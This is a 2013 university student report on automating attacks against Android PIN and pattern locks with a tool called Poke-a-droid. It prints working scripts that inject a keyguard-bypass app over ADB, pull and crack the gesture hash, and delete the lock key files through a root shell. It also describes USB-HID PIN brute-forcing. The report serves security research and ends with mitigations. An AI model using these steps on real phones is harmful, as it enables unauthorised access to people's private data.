University of Amsterdam

System & Network Engineering

Offensive Technologies:
Attacking Android’s pattern & PIN lock
May 29, 2013

Authors: Supervisor:
Remy de Boer Jeroen van Beek
<[email protected]> <[email protected]>

Javy de Koning
<[email protected]>
Abstract
In the past years Smartphones and Tablets have become more and more powerful. Fur-
ther, considerable amounts of private data like pictures, e-mails or even geo-location his-
tory are stored on the device we carry around 24 hours a day. The goal of this research
is focussed on automating attacks against the PIN and pattern lock features available on
the latest version of Android (4.2, Jelly Bean). To achieve this goal we’ve developed an
Android application in Java that does just that. When researching the available attack
vectors it becomes clear that developer options, rooting and using a four digit PIN code
give the attacker an ability to read, remove or bruteforce the PIN, Password or Gesture.
The application developed during this project, which is called Poke-a-droid, combines
all these exploits in an easy to use Android application. This application gives an at-
tacker unauthorised access to a vulnerable device with the press of a button. This report
describes our implementations and future ways to improve the application. A live demo
of the developed application can be viewed here: http://youtu.be/kXjgEzYRjT8.
Contents Contents

Contents

1. Introduction 1
1.1. Research Question . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2. Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3. Scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.4. Hardware requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.5. Planning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.6. Project deliverables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.7. Distribution of work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

2. Screenlock options 4
2.1. Pattern . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2.2. PIN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.3. Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

3. Method 7
3.1. Developer Options? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
3.2. Rooted device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.3. Rooting the device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.4. Unrootable device with developer options disabled . . . . . . . . . . . . . 10

4. Results 11
4.1. Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
4.2. developer options . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
4.3. Rooted device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
4.4. Bruteforce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

5. Conclusion 17

6. Future work 17

A. Bibliography i

B. Importing project into Android Studio ii

 1 INTRODUCTION

1. Introduction
Smart-phones and Tablets are becoming more and more powerful and are often carried
around 24/7 by their respective owners. Further, the use of mobile applications that ex-
tend our ”always online” life encourage the user to keep considerable amounts of private
data like pictures, e-mails or even geo-location history. To keep access to these devices
limited, some form of authorisation should be put in place. Setting a complex password
is possible but is an annoying task to enter on a touchscreen device that is accessed
dozens of times a day.

Android offers multiple other ways to protect access to a phone or tablet device. The
”Face Unlock” feature, which allows a user to unlock a device by means of face recog-
nition, was found to be vulnerable soon after the launch of Android 4.0 (Ice Cream
Sandwich). Because the Face Unlock is easily bypassed by showing the phone a picture
of the user[1] it makes sense to lock your Android device using a PIN or a pattern/ges-
ture if you do have important data on your device.

The limited complexity of a PIN or an unlock pattern makes it easy for an attacker to
gain access to a device using hashing tables or brute-force attacks.

In our research, we will focus on breaking Android’s screen-lock security in a unique

and automated way. Specifically, we will develop a tool to brute force the PIN set on
an Android device using a programmable USB Human Input Device (HID) and another
Android Phone equipped with a camera. If time allows it, we will also provide features
to crack or remove screen-lock gestures.

1
1.1 Research Question 1 INTRODUCTION

1.1. Research Question

This research will focus on automating attacks against the PIN and pattern lock features
available on the latest version of Android (4.2, Jelly Bean). This results in the following
research question:

”How can we hack/crack a PIN or Pattern lock on an Android Phone, and how can
this be automated?”

1.2. Related Work

Lot’s of work has already been put into bypassing and cracking Android’s lock features.
Attacks that guarantee privileged access have been researched by Timothy Vidas, Daniel
Votipka and Nicolas Christin in 2011[2]. For this research we want to improve the attack
methods currently available. Kyle Osborn has developed p2p-adb[3], which is a collecting
of some shell scripts that automate attacks on Android Devices. We will extend upon
his work by building an Android application front-end and adding a brute-force method.

1.3. Scope
The scope of this research is aimed at creating an automated method to bypass or crack
the screen-lock on an Android device. Due to limited time available we will focus on the
PIN lock feature. If time allows it, we will also put effort into automating the cracking
of pattern lock’s. Implementations will be tested against the latest stable version of
Android, which currently is 4.2 Jelly Bean. When possible, we will provide mitigations
for the vulnerabilities found.

1.4. Hardware requirements

For this project we used the following hardware:

• Two Android devices running 4.2 Jelly Bean

• One programmable USB HID eg. Teensy or Rubber Ducky

• USB-OTG micro-A & micro-B connector

2
1.5 Planning 1 INTRODUCTION

1.5. Planning
The research will start on April 25th, 2013 and will take five weeks at most. The final
report will be delivered on May 27th, 2013. A presentation will be held on May 30th,
2013. The steps that we will take during the five week period are out-lined below:

1. Pre-research of subject and write proposal;

2. Research solutions that are currently available;

3. Set up a test system and develop the attack(s);

4. Test the attack set-ups and document results;

5. Analyze data and write report;

6. Prepare the presentation and finalize report.

1.6. Project deliverables

The research will result in following products:

• A tool for automatically cracking or bypassing Android’s PIN lock.

• The report containing the research findings, attack methods, results and recom-
mendations.

• A presentation will be held at the University of Amsterdam about the findings.

1.7. Distribution of work

Remy will focus on the following aspects of the project:

• Researching current solutions

• Developing test system

• Analysis of results

• Writing report

And Javy will focus on the following:

• Researching current solutions

• Devising ways of automating the hacking/cracking process

• Analysis of results

• Writing report

3
 2 SCREENLOCK OPTIONS

2. Screenlock options
Android provides several options to protect access to a phone or tablet. Depending on
how a device is used the user might choose to set some form of automatic screen lock to
prevent unauthorised access. If a screen lock is set, the screen locks when the display
goes to sleep. The available lock options will be discussed in the following section. We
will not discuss ”Slide to unlock” because this provides no protection whatsoever, and
therefore is not relevant for this research.

2.1. Pattern
Pattern lets you draw a simple gesture, over a three by three grid, to unlock the phone
or tablet.

Figure 2-1: Unidirectional graph

At least four vectors need to be connected to set a lock pattern. If using every possible
combination between the vectors in the graph this would result in 4!+5!+6!+7!+8!+9! =
409104 possible paterns. However, there are a few limitations to the pattern.

Nodes can be connected by:

• adjacency

• knight’s moves

• they can also connect via 2 steps along a line

• a peg jump, if and only if the middle point is already used. (This means the
connectivity changes depending on what points have already been used.)1 .
1
http://www.quora.com/How-many-combinations-does-Android-9-point-unlock-have/answer/
Yoyo-Zhou

4
2.2 PIN 2 SCREENLOCK OPTIONS

This results in the following table:

Connected vectors Possible combinations

4 1,624
5 7,152
6 26,016
7 72,912
8 140,704
9 140,704
Total 389,112

Table 2-1: Possible patterns in a 3x3 grid.

2.2. PIN
PIN requires four or more numbers. A longer PIN is usually more secure because more it-
erations are required to test every possible combination. A four digit ping results in 104 =
10, 000 possible combinations while a 10 digit PIN results in 1010 = 10, 000, 000, 000 pos-
sible combinations.

2.3. Password
Android passwords require four or more characters. This is the most secure option
available, as long as the user uses a strong password. Both PINs and Passwords are
salted with a random value and stored in "/data/system/password.key" as a concate-
nated SHA-1 and MD5 value. The salt is stored in a SQLite Database. Depending
on the Android version the database is located at "/data/system/locksettings.db"
or "/data/data/com.android.providers.settings/databases/settings.db". The
salt is stored in the table named ”secure” (lockscreen.password salt).

Passwords have the following requirements:

• Four to sixteen characters long

• 94 possible characters (Uppercase, lowercase, digits and punctuation)

• MUST have at least one letter

This results in the following number of possible combinations:

5
2.3 Password 2 SCREENLOCK OPTIONS

Length Possibilities
4 944 = 78, 074, 896
5 945 = 7, 339, 040, 224
6 946 = 689, 869, 781, 056
7 947 = 64, 847, 759, 419, 264
8 948 = 6, 095, 689, 385, 410, 816
9 949 = 572, 994, 802, 228, 616, 704
10 9410 = 53, 861, 511, 409, 489, 970, 176
11 9411 = 5, 062, 982, 072, 492, 057, 196, 544
12 9412 = 475, 920, 314, 814, 253, 376, 475, 136
13 9413 = 44, 736, 509, 592, 539, 817, 388, 662, 784
14 9414 = 4, 205, 231, 901, 698, 742, 834, 534, 301, 696
15 9415 = 395, 291, 798, 759, 681, 826, 446, 224, 359, 424
16 9416 = 37, 157, 429, 083, 410, 091, 685, 945, 089, 785, 856

Table 2-2: Possible patterns in a 3x3 grid.

6
 3 METHOD

3. Method
To gain access to an Android without knowing the actual gesture, pin or password we’ve
come up with an approach that is designed to get the fastest access possible. The
flowchart shown below should give a clear overview of the approach. Every step in the
flowchart will be discussed in detail in the next sections.

Figure 3-1: Attack flowchart

7
3.1 Developer Options? 3 METHOD

3.1. Developer Options?

Many Android devices run a custom rom and have developer options enabled by default.
This allows us to connect an ADB (Android Debugging Bridge) shell to the device
without unlocking it. This flaw was fixed in Android 4.2. Since 4.2 the user needs to
give permission when a new host connects for the first time. It’s not possible to grant
permission when the screen is locked. However, 4.2 isn’t widely adopted yet.

Version Codename Distribution

1.6 Donut 0.1%
2.1 Eclair 1.7%
2.2 Froyo 3.7%
2.3.x Gingerbread 38.4%
3.x Honeycomb 0.1%
4.0. Ice Cream Sandwich 27.5%
4.1.x Jelly Bean 26.1%
4.2.x Jelly Bean 2.3%

Table 3-1: Data collected during a 14-day period ending on May 1, 2013. Any versions
with less than 0.1% distribution are not shown. Source: http://developer.
android.com/about/dashboards/index.html

When connected over ADB it is possible to install and launch an application that
places itself on top of the lockscreen. This functionality is built into Android and some
applications use this for notifications to popup on the lockscreen. A popular example
from whatsapp is shown below.

Figure 3-2: WhatsApp popup on locked screen.

However, this functionality can also be abused by a rogue app. To exploit this function-
ality Kyle Osborn has developed an application named ”Antiguard[3]”. This application
puts itself on top of the lockscreen when launched and provides an option to the attacker

8
 3.1 Developer Options? 3 METHOD

to launch the Android launcher giving full access to the device.

First we install the application and then launch it:

1 jkoning :~ Javy$ adb install antiguard . apk
2 jkoning :~ adb shell am start io . kos . antiguard /. unlock

This is the code used to disable the keyguard:

1 KeyguardManager keyguardManager = ( KeyguardManager )
getSystemService ( Context . KEYGUARD_SERVICE ) ;
2 KeyguardLock mkeyguardLock = keyguardManager . newKeyguardLock
(" unlock ") ;
3 mkeyguardLock . disableKeyguard () ;

From this popup we can then launch another application (in this case the launcher) with
the following code:
1 Button launcherButton = ( Button ) findViewById ( R . id .
launcherButton ) ;
2 launcherButton . set On Cl ic kL is te ne r ( new OnClickListener () {
3 public void onClick ( View v ) {
4 viewLauncher () ;
5 }
6 }) ;
7 ...
8 public void viewLauncher () {
9 Intent intent = new Intent ( Intent . ACTION_MAIN ) ;
10 intent . addCategory ( Intent . CATEGORY_HOME ) ;
11 startActivity ( intent ) ;
12 }

From the launcher we can access all other applications.

9
3.2 Rooted device 3 METHOD

3.2. Rooted device

When a device is rooted, it usually has a custom recovery as well. When a device is
rebooted in recovery mode (Clockworkmod 2 for example), it is possible to get root
shell access to the device without asking for explicit permissions. When we have root
shell access we can read and change the files that store the hashed gesture or password.
Gestures are hashed (using SHA1) and stored in /data/system/gesture.key without a
salt. This makes it possible to retrieve the hash while it is also possible to pre-compute
a hashing table for all possible gestures. Passwords are hashed with a unique salt and
stored in /data/system/password.key, therefore it is unfeasible to compute a hashing-
or rainbow table for passwords. However, it is possible to remove both the gesture.key
and password.key files using a custom recovery. Removing those files will cause the
device to accept and password or gesture.

3.3. Rooting the device

On most Android devices it is easy to get root. For example, on Samsung phones you
can get rooted within 60 seconds by flashing a custom kernel using Odin 3 . This doesn’t
delete any data on the phone. On other devices you will need to unlock the bootloader
first. This usually causes the device to wipe the data partition (like HTC phones).

3.4. Unrootable device with developer options disabled

Android devices that are not rooted and don’t have developer options enabled are not
vulnerable to the previously mentioned attacks. For these devices the only known attack
that remains is brute-forcing. Because the device will not accept any input for 30 seconds
after supplying 5 invalid passwords or gestures, bruteforcing Android devices is not an
effective approach. It is however still possible.

2
http:http://www.clockworkmod.com/
3
http://forum.xda-developers.com/showthread.php?t=2189539

10
 4 RESULTS

4. Results
The goal of this research is focused on automating attacks against the PIN and pattern
lock features available on the latest version of Android (4.2, Jelly Bean). To achieve this
goal we’ve developed an Android application in Java that does just that. In this section
we will describe all our attacks, and how they are automated, in the same chronological
way we discussed in section 3. We’ve combined attacks and shell scripts mentioned
in the following subsections in our Android application called ”Poke-a-Droid”. The
source files are available on our Github repo, accessable using the following url: https:
//github.com/remydb/Poke-A-Droid/. A live demo of these functions can be viewed
here: http://youtu.be/kXjgEzYRjT8.

4.1. Prerequisites
To transform an Android phone into an attacking device we need a phone that can
be put into hostmode using a so-called USB ”on the go” adapter. USB On-The-Go,
which is ofthen abbreviated as OTG, allows USB devices like mobile phones or tablets
to act as a host. This allows other USB devices like flash drives or a a keyboard to be
connected. These OTG devices can drop the hosting role and act as normal USB devices
when attached to another host like a workstation or notebook. Not all Android phones
support these adapters, we encounterd some issues using the adapter on a Samsung
Galaxy SII i9100. The adapter seemed to work fine one newer phones we’ve tested like
the HTC One X, Samsung Galaxy S3 i9300, Note 2 N7100 and Galaxy S4 i9500. Note
the attacking device will need to support this adapter, the victems device will only need
support for OTG adapters if we need to brute-force the PIN.
Other requirements for the attacking phone are:

• The device needs to be rooted

• OpenCV needs to be installed 4

• Needs to be equipped with a camera

• BusyBox installed 5

4
https://play.google.com/store/apps/details?id=org.opencv.engine
5
https://play.google.com/store/apps/details?id=stericson.busybox

11
 4.2 developer options 4 RESULTS

4.2. developer options

As explained in section 3 the first thing an attacker should do is check if developer
options are enabled. Therefore this is the first check that was built into the application.
We’ve included a button in the application that calls a shell script which will verify that
we have ADB enabled devices connected. The relevant shell script is shown here:
1 #!/ system / xbin / bash
2 su -c ’ adb kill - server ’ > / dev / null 2 >&1
3 su -c ’ adb start - server ’ > / dev / null 2 >&1
4
5 STATUS = ‘ adb devices | tail -2 | head -1 | awk { ’ print $2 ’} |
tr -d "\ n " ‘
6 if [ " $STATUS " == " device " ]; then
7 echo ENABLED
8 elif [ " $STATUS " == " recovery " ]; then
9 echo RECOVERY
10 else
11 echo DISABLED
12 fi

Figure 4-1: Check for developer options.

12
 4.3 Rooted device 4 RESULTS

If an ADB enabled device is connected to the phone the second button attack will
become available. This button will call a different shellscript that injects the Antiguard
application. The functionality of this application is described in section 3.1.
1 #!/ system / xbin / bash
2 # p2p - adb
3
4 cd " $ ( dirname " $0 ") "
5
6 adb install AntiGuard . apk >/ dev / null 2 >&1
7 NOOUTPUT = $ ( adb shell am start io . kos . antiguard /. unlock )
8
9 echo $ ?

4.3. Rooted device

If no ADB access is available we can proceed to the second step. First, boot the phone
into recovery mode (key combinations differ per device). In recovery mode ADB access
should always be available. If a custom recovery is installed we usually have root shell
access. Because we cannot install and launch the Antiguard application from recovery
mode we need to do a different attack. The second check that was built into our ap-
plication is the root check. Checking for root is done using a shell script which was
based on the p2p-adb package https://github.com/kosborn/p2p-adb/blob/master/
functions.sh.
1 #!/ system / xbin / bash
2
3 WHOAMI = $ ( adb shell ’id ’ | tr -d "\ r " )
4 TRYROOT = $ ( adb shell ’ su -c " id " ’ | tr -d "\ r " )
5
6 if echo $WHOAMI | grep ’ uid =0 ’ 2 >&1 >/ dev / null
7 then
8 echo "1" # Running as root
9 elif echo $TRYROOT | grep ’ uid =0 ’ 2 >&1 >/ dev / null
10 then
11 # echo " Not natively root ."
12 echo "2" #" Will continue to escalate with su ."
13 elif echo $WHOAMI | grep ’ uid =2000 ’ 2 >&1 >/ dev / null
14 then
15 echo "0" # Running as shell
16 else
17 echo "3" # Unknown state
18 fi

If root access is available we have two options:

13
 4.3 Rooted device 4 RESULTS

• Retrieve the hash from /data/system/gesture.key and look it up in the hash

table. This will show you the used pattern.

• Remove the /data/system/gesture.key or /data/system/password.key file.

This will make the device accept any PIN.

First we need to mount the data partition on the victim’s phone. Also make sure that
the hash table is located at \storage\sdcard0\Android\data\com.os3.poke-a-droid\
files\AndroidGestureSHA1.txt.gz, as its location is currently hardcoded in the ap-
plication. The hash table we used during our research can be found here: http://www.
android-forensics.com/tools/AndroidGestureSHA1.rar. The application will only
accept a gzipped version of the hashtable. This approach was chosen to save space on
the device. Ofcourse, this will only work when a gesture is configured on the device.
When all requirements are met, our application can call the following script to retrieve
the gesture:
1 #!/ system / xbin / bash
2
3 cd " $ ( dirname " $0 ") "
4
5 adb pull / data / system / gesture . key ./ gesture . key > / dev / null
2 >&1
6
7 KEY = ‘ hexdump -C gesture . key | awk ’{ print $2 $3 $4 $5 $6 $7
$8 $9 $10 $11 $12 $13 $14 $15 $16 $17 } ’ | tr -d " " | cut
- f1 -d "|" ‘
8 NOSPACES = ‘ echo $ { KEY } | tr -d " " ‘
9
10 zcat A nd ro id Ge st ur eS HA 1 . txt . gz | grep -i $ { NOSPACES } | cut -
f1 -d ";"

There is probably a more effective way to do this but we’ve had some issues with ”tr”
and ”hexdump” not giving the expected output on our Android device. The ”tr” and
”hexdump” packages included in busybox behave differently then those on OSX 10.8
Mountain Lion. To remove the gesture or PIN we just issue a basic ”rm” shell command.
1 #!/ system / xbin / bash
2 adb shell ’ su -c " rm / data / system / gesture . key " ’
3 echo $ ?

14
4.4 Bruteforce 4 RESULTS

4.4. Bruteforce
To bruteforce a PIN in an automated way we need a programmable USB stick to avoid
having to enter all possible PIN codes by hand. Multiple programmable USB sticks are
available, in our example we used a Teensy 2.0 because it was the only stick available
at the time. Because an Android device will lock a device for 30 seconds after entering
five consecutive incorrect passwords it will take approximately (10.000/5) ∗ 31/(60 ∗
60) = 17.22 hours to try all four digit PIN combinations. Our code for the Teensy 2.0
is available here: https://github.com/remydb/Poke-A-Droid/blob/master/teensy/
usb_keyboard/example.c, this will try all PIN codes from 0000 up to 9999.
When the correct PIN is entered we should see the homescreen of the Android de-
vice. The homescreen usually contains shortcuts to applications, widgets and sometimes
a unique background, therefore it will look completely different then the lockscreen.
Because we don’t want to sit and wait 17,2 hours for the teensy to find the correct
PIN we’ve built a function in our Android application that will use the camera of our
attacking device to monitor for this change.
To detect this change, we need to set a baseline first. The first step is therefore
to take three ”training” images. These images will be compared to the current image
captured by the camera and indicate wether or not the attacked device has been unlocked.
Our application uses three training images, as these were the three different states we
observed on our device while it was being bruteforced by our programmable USB HID.
These three states are:

• Regular lock screen

– This is the regular brightly lit lock screen that shows up as soon as you wake
up a sleeping device which is locked with a PIN code.

• Lock screen with warning popup

– After entering 5 incorrect PIN codes, a popup will show. This popup informs
the user that the device will be locked for 30 seconds.

• Dimmed lock screen

– Once the 30 second timer runs out, the screen dims for a second before new
codes can be entered.

These three states might not all be present on different android devices, in this case
the three training pictures can be used to represent what ever other states may occur.
Once the three training pictures have been made, the brute forcing loop can be started.
First the USB HID is plugged into the attacked device. Once the USB HID starts up,
the brute forcing function is started on the attackers device. The attackers device will
maintain a counter that keeps track of which codes are being entered. The counter goes
up by 5 every 30 seconds, as that is the amount of time we are locked out of the attacked
device.

15
4.4 Bruteforce 4 RESULTS

Figure 4-2: Brute force loop flowchart.

During the brute forcing loop a picture is taken every 15 seconds and compared to
the training pictures. If the pictures match, the device is still locked. If the pictures do
not match, we save the codes which have just been entered to a file. The brute forcing
loop will continue, to make sure no false negative matches prematurely end the loop.
The matching of the pictures is done using feature recognition. Each picture is first
scanned for keypoints, after which descriptors are extracted from these keypoints. The
descriptors of the images are matched against each-other, leading to a percentage of non-
matching descriptors. If more than 90% of the descriptors match, the pictures will be
seen as a match. If less than 90% match, the picture does not match and the device may
have been unlocked. With the current proof-of-concept code, the brute forcing loop will
never break, it will just continue until it is stopped by the user. Once the user stops the
loop, he can open the file containing the possible codes and use these to gain access to the
device. The current implementation uses the FAST algorithm for detecting keypoints,
and ORB for extracting the descriptors. This combination was selected because this
yielded good results in our test scenario.

16
 6 FUTURE WORK

5. Conclusion
A successful attack on an Android device relies on three factors. First; when developer
options are enabled on a device running ¡ 4.2.2 it is easy for an attacker to inject and run
an application using ADB. This application can bypass the lockscreen grant full access
to the device.

Second; when a device is rooted or a custom rom is installed, a custom recovery is usu-
ally installed as well. In a custom recovery a native root shell can be acquired and we
either download the gesture.key file and look up the gesture in a hashtable or we can
remove the /system/data/gesture.key or /system/data/password.key file to access
the phone without any form of protection. Some devices can also be rooted within min-
utes and without wiping any data on the device.

Finally; when the above options are unavailable, we can bruteforce a PIN on the de-
vice. To brute-force a PIN code we’ve used a programmable USB stick that will try all
possible PIN combinations on the device. Secondly we use our attacker phone to create
pictures of the victim’s phone until a display change is detected. When a display change
is detected this is an indication to the application that the phone is unlocked and the
correct PIN has been found.

To mitigate an attack, use a strong password or a PIN that has atleast six digits. Do not
root your device and do not enable developer options. Finally it is strongly recommended
that you encrypt the file system of the device to prevent access if your device is easily
rooted.

6. Future work
This project has been fairly limited in time and resources but should give a good overview
of the possible attacks that could be automated using an Android device equipped with
an OTG cable and a Android application. Nevertheless, further research can be done as
to how gestures can be brute-forced. Additional work could also be put into improving
the error handling of the application, to make it more fool-proof to use. It would also
be interesting to see even more automation in the poke-a-droid application.
The application could also be extended to include the emulation of a USB HID device
on the attackers phone. We researched this for our project, but found we would not be
able to implement this feature due to time constraints and lack of technical knowledge.
The main hurdle for this option is that the attacking phones kernel must be patched to
support operating in HID mode.

17
 A. Bibliography

A. Bibliography
[1] Android Police, ”Android Jelly Bean’s Face Unlock liveness check cir-
cumvented with simple photo editing”, 2012.
http://goo.gl/z5qpw

[2] Timothy Vidas, Daniel Votipka, Nicolas Christin, ”All Your

Droid Are Belong To Us: A Survey of Current Android Attacks”, 2011.
https://www.andrew.cmu.edu/user/nicolasc/publications/
VVC-WOOT11.pdf

[3] Kyle Osborn ”Phone-to-phone ADB”, 2012 http://kyleosborn.com/

i
 B IMPORTING PROJECT INTO ANDROID STUDIO

B. Importing project into Android Studio

First, clone the project from https://github.com/remydb/Poke-A-Droid and grab
the latest version of the opencv library from http://sourceforge.net/projects/
opencvlibrary/files/opencv-android/. Extract the contents of the opencv archive
to the ”opencv” directory of the project you just cloned.
Now start Android Studio and choose ”import project”. Navigate to the directory
where you cloned the project and choose ”import from existing sources”. When asked
to add directory to the project roots, select the following:

Figure B-1: Importing source directories

Then just click through the rest of the menus, you should end up with a project
structure looking like this:

ii
 B IMPORTING PROJECT INTO ANDROID STUDIO

Figure B-2: Final project structure

iii